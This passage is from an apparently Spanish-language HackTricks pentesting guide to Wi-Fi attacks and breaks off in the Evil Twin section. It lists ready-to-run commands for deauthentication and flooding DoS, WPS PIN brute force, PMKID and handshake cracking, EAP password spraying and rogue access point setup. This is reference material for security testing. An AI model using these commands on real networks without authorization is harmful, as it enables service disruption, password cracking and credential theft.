# Pentesting Wifi {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs! **Perspectivas de Hacking**\ Participa en contenido que profundiza en la emoción y los desafíos del hacking **Noticias de Hackeo en Tiempo Real**\ Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! ## Comandos básicos de Wifi ```bash ip link show #List available interfaces iwconfig #List available interfaces airmon-ng check kill #Kill annoying processes airmon-ng start wlan0 #Monitor mode airmon-ng stop wlan0mon #Managed mode airodump-ng wlan0mon #Scan (default 2.4Ghz) airodump-ng wlan0mon --band a #Scan 5Ghz airodump-ng wlan0mon --wps #Scan WPS iwconfig wlan0 mode monitor #Put in mode monitor iwconfig wlan0mon mode managed #Quit mode monitor - managed mode iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis iwlist wlan0 scan #Scan available wifis ``` ## Herramientas ### EAPHammer ``` git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup ``` ### Airgeddon ```bash mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe ``` **Ejecutar airgeddon con docker** ```bash docker run \ --rm \ -ti \ --name airgeddon \ --net=host \ --privileged \ -p 3000:3000 \ -v /tmp:/io \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ v1s1t0r1sh3r3/airgeddon ``` From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux) ### wifiphisher Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales. ```bash git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision cd wifiphisher # Switch to tool's directory sudo python setup.py install # Install any dependencies ``` ### [Wifite2](https://github.com/derv82/wifite2) Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente: * Configura la interfaz en modo monitor * Escanea redes posibles - Y te permite seleccionar la(s) víctima(s) * Si es WEP - Lanza ataques WEP * Si es WPA-PSK * Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos. * Intenta capturar el PMKID del AP para crackearlo * Intenta desautenticar a los clientes del AP para capturar un handshake * Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas principales. ## Resumen de Ataques * **DoS** * Desautenticación/desasociación -- Desconectar a todos (o un ESSID/Cliente específico) * APs falsos aleatorios -- Ocultar redes, posible colapso de escáneres * Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil) * WIDS -- Jugar con el IDS * TKIP, EAPOL -- Algunos ataques específicos para DoS a ciertos APs * **Cracking** * Crackear **WEP** (varias herramientas y métodos) * **WPA-PSK** * **WPS** pin "Fuerza Bruta" * **WPA PMKID** fuerza bruta * \[DoS +] **Captura de handshake WPA** + Cracking * **WPA-MGT** * **Captura de Nombre de Usuario** * **Fuerza Bruta** Credenciales * **Evil Twin** (con o sin DoS) * **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN * **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña * **WPA-MGT** -- Útil para capturar credenciales de la empresa * **KARMA, MANA**, **Loud MANA**, **Beacon conocido** * **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN * **+ WPA** -- Útil para capturar handshakes WPA ## DOS ### Paquetes de Desautenticación **Descripción de** [**aquí**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, lo que permite a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red. **Desautenticación usando Aireplay-ng** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` * \-0 significa desautenticación * 1 es el número de desautenticaciones a enviar (puedes enviar múltiples si lo deseas); 0 significa enviarlas continuamente * \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso * \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía desautenticación por difusión (no siempre funciona) * ath0 es el nombre de la interfaz ### Paquetes de Desasociación **Los paquetes de desasociación**, similares a los paquetes de desautenticación, son un tipo de marco de gestión utilizado en redes Wi-Fi. Estos paquetes sirven para romper la conexión entre un dispositivo (como una laptop o un smartphone) y un punto de acceso (AP). La principal distinción entre desasociación y desautenticación radica en sus escenarios de uso. Mientras que un AP emite **paquetes de desautenticación para eliminar explícitamente dispositivos no autorizados de la red, los paquetes de desasociación se envían típicamente cuando el AP está en proceso de apagado**, reinicio o reubicación, lo que requiere la desconexión de todos los nodos conectados. **Este ataque se puede realizar con mdk4(modo "d"):** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate # -e WifiName is the name of the wifi # -B BSSID is the BSSID of the AP # Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F ``` ### **Más ataques DOS con mdk4** **En** [**aquí**](https://en.kali.tools/?p=864)**.** **MODO DE ATAQUE b: Inundación de Beacon** Envía tramas de beacon para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen! ```bash # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -m use real BSSIDS # All the parameters are optional and you could load ESSIDs from a file mdk4 wlan0mon b -a -w nta -m ``` **MODO DE ATAQUE a: Denegación de Servicio de Autenticación** Enviar tramas de autenticación a todos los Puntos de Acceso (APs) accesibles dentro del rango puede sobrecargar estos APs, especialmente cuando hay numerosos clientes involucrados. Este tráfico intenso puede llevar a la inestabilidad del sistema, causando que algunos APs se congelen o incluso se reinicien. ```bash # -a BSSID send random data from random clients to try the DoS # -i BSSID capture and repeat pakets from authenticated clients # -m use real MACs # only -a or -i can be used mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` **MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta** El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con **la fuerza bruta de SSIDs ocultos** con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas. **MODO DE ATAQUE m: Explotación de Contramedidas de Michael** Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP de un minuto. Este método es una táctica eficiente de ataque **DoS** (Denial of Service). ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] ``` **MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff** Inundar un AP con **tramas EAPOL Start** crea **sesiones falsas**, abrumando al AP y bloqueando a los clientes legítimos. Alternativamente, inyectar **mensajes EAPOL Logoff falsos** desconecta forzosamente a los clientes, ambos métodos interrumpen efectivamente el servicio de la red. ```bash # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` **MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s** Varios ataques a la gestión de enlaces y el enrutamiento en redes de malla. **MODO DE ATAQUE w: Confusión de WIDS** Conectar clientes a múltiples nodos WDS o APs falsos puede manipular los Sistemas de Detección y Prevención de Intrusiones, creando confusión y potencial abuso del sistema. ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] ``` **MODO DE ATAQUE f: Fuzzing de Paquetes** Un fuzzing de paquetes que presenta diversas fuentes de paquetes y un conjunto completo de modificadores para la manipulación de paquetes. ### **Airggedon** _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores: ![](<../../.gitbook/assets/image (95).png>) ## WPS WPS (Wi-Fi Protected Setup) simplifica el proceso de conexión de dispositivos a un enrutador, mejorando la velocidad y facilidad de configuración para redes encriptadas con **WPA** o **WPA2** Personal. Es ineficaz para la seguridad WEP, que es fácilmente comprometida. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades). ### Fuerza Bruta WPS Hay 2 herramientas principales para realizar esta acción: Reaver y Bully. * **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS. * **Bully** es una **nueva implementación** del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de endianness, y un conjunto de opciones más robusto. El ataque explota la **vulnerabilidad del PIN WPS**, particularmente su exposición de los primeros cuatro dígitos y el papel del último dígito como un checksum, facilitando el ataque de fuerza bruta. Sin embargo, las defensas contra ataques de fuerza bruta, como **bloquear direcciones MAC** de atacantes agresivos, exigen **rotación de direcciones MAC** para continuar el ataque. Al obtener el PIN WPS con herramientas como Bully o Reaver, el atacante puede deducir el WPA/WPA2 PSK, asegurando **acceso persistente a la red**. ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 ``` **Fuerza Bruta Inteligente** Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conocidas: 1. **PINs predescubiertos**: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los PINs probables para estos fabricantes. 2. **Algoritmos de generación de PIN**: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación del PIN. ### Ataque WPS Pixie Dust **Dominique Bongard** descubrió un fallo en algunos Puntos de Acceso (APs) relacionado con la creación de códigos secretos, conocidos como **nonces** (**E-S1** y **E-S2**). Si estos nonces pueden ser descubiertos, descifrar el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para probar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más sobre esto se puede encontrar [aquí](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)). En términos simples, el problema es que algunos APs no utilizaron llaves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline). ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` Si no quieres cambiar el dispositivo a modo monitor, o `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor. ```bash ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ``` ### Null Pin attack Algunos sistemas mal diseñados incluso permiten que un **Null PIN** (un PIN vacío o inexistente) otorgue acceso, lo cual es bastante inusual. La herramienta **Reaver** es capaz de probar esta vulnerabilidad, a diferencia de **Bully**. ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` ### Airgeddon Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando _**airgeddon.**_ ![](<../../.gitbook/assets/image (219).png>) * 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno) * 7 y 8 realizan el **ataque Pixie Dust** * 13 te permite probar el **PIN NULL** * 11 y 12 **recolectarán los PINs relacionados con el AP seleccionado de bases de datos disponibles** y **generarán** posibles **PINs** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?) * 9 y 10 probarán **cada PIN posible** ## **WEP** Tan roto y sin usar en la actualidad. Solo sepas que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares. ![](<../../.gitbook/assets/image (432).png>) ***
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores! **Perspectivas de Hacking**\ Participa en contenido que profundiza en la emoción y los desafíos del hacking **Noticias de Hackeo en Tiempo Real**\ Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real **Últimos Anuncios**\ Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma ¡Únete a nosotros en [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy! *** ## WPA/WPA2 PSK ### PMKID En 2018, **hashcat** [reveló](https://hashcat.net/forum/thread-7717.html) un nuevo método de ataque, único porque solo necesita **un solo paquete** y no requiere que ningún cliente esté conectado al AP objetivo, solo interacción entre el atacante y el AP. Muchos enrutadores modernos añaden un **campo opcional** al **primer marco EAPOL** durante la asociación, conocido como `Robust Security Network`. Esto incluye el `PMKID`. Como explica la publicación original, el **PMKID** se crea utilizando datos conocidos: ```bash PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` Dado que el "Nombre PMK" es constante, conocemos el BSSID del AP y de la estación, y el `PMK` es idéntico al de un apretón de manos completo de 4 vías, **hashcat** puede usar esta información para descifrar el PSK y recuperar la frase de paso. Para **reunir** esta información y **fuerza bruta** localmente la contraseña, puedes hacer: ```bash airmon-ng check kill airmon-ng start wlan0 git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 ``` ```bash #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\ Ahora, convierte la captura al formato de **hashcat/john** y crackéalo: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` Por favor, tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida). Tenga en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx` ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` _He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._ ### Captura de handshakes Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** y tratando de **crackear** la contraseña **offline**. Este proceso implica monitorear la comunicación de una red específica y **BSSID** en un **canal** particular. Aquí hay una guía simplificada: 1. Identifica el **BSSID**, **canal** y un **cliente conectado** de la red objetivo. 2. Usa `airodump-ng` para monitorear el tráfico de la red en el canal y BSSID especificados, con la esperanza de capturar un handshake. El comando se verá así: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` 3. Para aumentar la probabilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente: ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios ``` _Note que, como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._ Una vez que en `airodump-ng` aparece información de handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar: ![](<../../.gitbook/assets/image (172) (1).png>) Una vez que el handshake es capturado, puedes **crackearlo** con `aircrack-ng`: ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` ### Verificar si el apretón de manos está en el archivo **aircrack** ```bash aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture ``` **tshark** ```bash tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages. ``` [**cowpatty**](https://github.com/roobixx/cowpatty) ``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` _Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._ **pyrit** ```bash apt-get install pyrit #Not working for newer versions of kali pyrit -r psk-01.cap analyze ``` ## **WPA Enterprise (MGT)** En **configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación**, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando uses herramientas como `airodump-ng` para inspeccionar el tráfico de red, podrías notar identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen: ``` 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` 1. **EAP-GTC (Generic Token Card)**: * Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto claro al punto de acceso, lo que plantea un riesgo para ataques de degradación. 2. **EAP-MD5 (Message Digest 5)**: * Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, la falta de autenticación del servidor y la incapacidad de generar claves WEP específicas de la sesión. 3. **EAP-TLS (Transport Layer Security)**: * Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones. 4. **EAP-TTLS (Tunneled Transport Layer Security)**: * Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales. 5. **PEAP (Protected Extensible Authentication Protocol)**: * Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel. * **PEAP-MSCHAPv2**: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector. * **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad. Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). ### Captura de Nombre de Usuario Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP**, los **mensajes de "Identidad"** deben ser **soportados**, y el **nombre de usuario** se enviará en **claro** en los **mensajes de "Respuesta de Identidad"**. Incluso usando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\ Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente. ![](<../../.gitbook/assets/image (850).png>) ### Identidades Anónimas El ocultamiento de identidad es soportado tanto por EAP-PEAP como por EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para asegurar la protección de la anonimidad del usuario, la respuesta del cliente EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios: * EAP-Identidad = anónimo * En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) se maneja localmente o se delega a un servidor RADIUS remoto (de origen). * EAP-Identidad = anónimo@realm\_x * En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS. * Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios. En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11. EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo User-Name y ya sea un atributo Password o CHAP-Password en el mensaje TLS inicial enviado después del establecimiento del túnel. Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS del hogar del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS del hogar sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante. Para más información consulta [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm) ### EAP-Bruteforce (spray de contraseñas) Si se espera que el cliente use un **nombre de usuario y contraseña** (ten en cuenta que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** y tratar de **forzar** el acceso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` También podrías realizar este ataque utilizando `eaphammer`: ```bash ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --essid example-wifi \ --password bananas \ --user-list users.txt ``` ## Teoría de ataques al cliente ### Selección de red y roaming * El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicio Ampliado (ESS), pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él. * Las estaciones pueden moverse entre APs que comparten el mismo ESSID, manteniendo la conectividad a través de un edificio o área. * El protocolo requiere autenticación de la estación al ESS, pero no exige autenticación del AP a la estación. ### Listas de redes preferidas (PNL) * Las estaciones almacenan el ESSID de cada red inalámbrica a la que se conectan en su Lista de Redes Preferidas (PNL), junto con detalles de configuración específicos de la red. * La PNL se utiliza para conectarse automáticamente a redes conocidas, mejorando la experiencia del usuario al simplificar el proceso de conexión. ### Escaneo pasivo * Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluido el ESSID del AP a menos que la transmisión esté desactivada. * Durante el escaneo pasivo, las estaciones escuchan las tramas de baliza. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP. * El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP malicioso. ### Sondeo activo * El sondeo activo implica que las estaciones envían solicitudes de sondeo para descubrir APs cercanos y sus características. * Las solicitudes de sondeo dirigidas apuntan a un ESSID específico, ayudando a detectar si una red particular está dentro del alcance, incluso si es una red oculta. * Las solicitudes de sondeo de difusión tienen un campo SSID nulo y se envían a todos los APs cercanos, permitiendo que la estación verifique cualquier red preferida sin revelar el contenido de su PNL. ## AP simple con redirección a Internet Antes de explicar cómo realizar ataques más complejos, se explicará **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** Internet. Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes. ### DHCP & DNS ```bash apt-get install dnsmasq #Manages DHCP and DNS ``` Crea el archivo de configuración `/etc/dnsmasq.conf`: ```ini interface=wlan0 dhcp-authoritative dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h dhcp-option=3,192.168.1.1 dhcp-option=6,192.168.1.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 ``` Luego **configura IPs** y **rutas**: ```bash ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 ``` Y luego **inicia** dnsmasq: ```bash dnsmasq -C dnsmasq.conf -d ``` ### hostapd ```bash apt-get install hostapd ``` Crea un archivo de configuración `hostapd.conf`: ```ini interface=wlan0 driver=nl80211 ssid=MITIWIFI hw_mode=g channel=11 macaddr_acl=0 ignore_broadcast_ssid=0 auth_algs=1 wpa=2 wpa_passphrase=mitmwifi123 wpa_key_mgmt=WPA-PSK wpa_pairwise=CCMP wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` **Detener procesos molestos**, configurar **modo monitor** y **iniciar hostapd**: ```bash airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up hostapd ./hostapd.conf ``` ### Reenvío y Redirección ```bash iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward ``` ## Evil Twin Un ataque de gemelo malvado explota la forma en que los clientes de WiFi reconocen las redes, confiando principalmente en el nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen: * **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de encriptación. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas. * **Manipulación de Conexión y Roaming del Cliente**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto al atraer a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de desautenticación o interferencia. * **Desafíos en la Ejecución**: Ejecutar con éxito un ataque de gemelo malvado en entornos con múltiples puntos de acceso bien ubicados puede ser un desafío. Desautenticar un solo punto de acceso 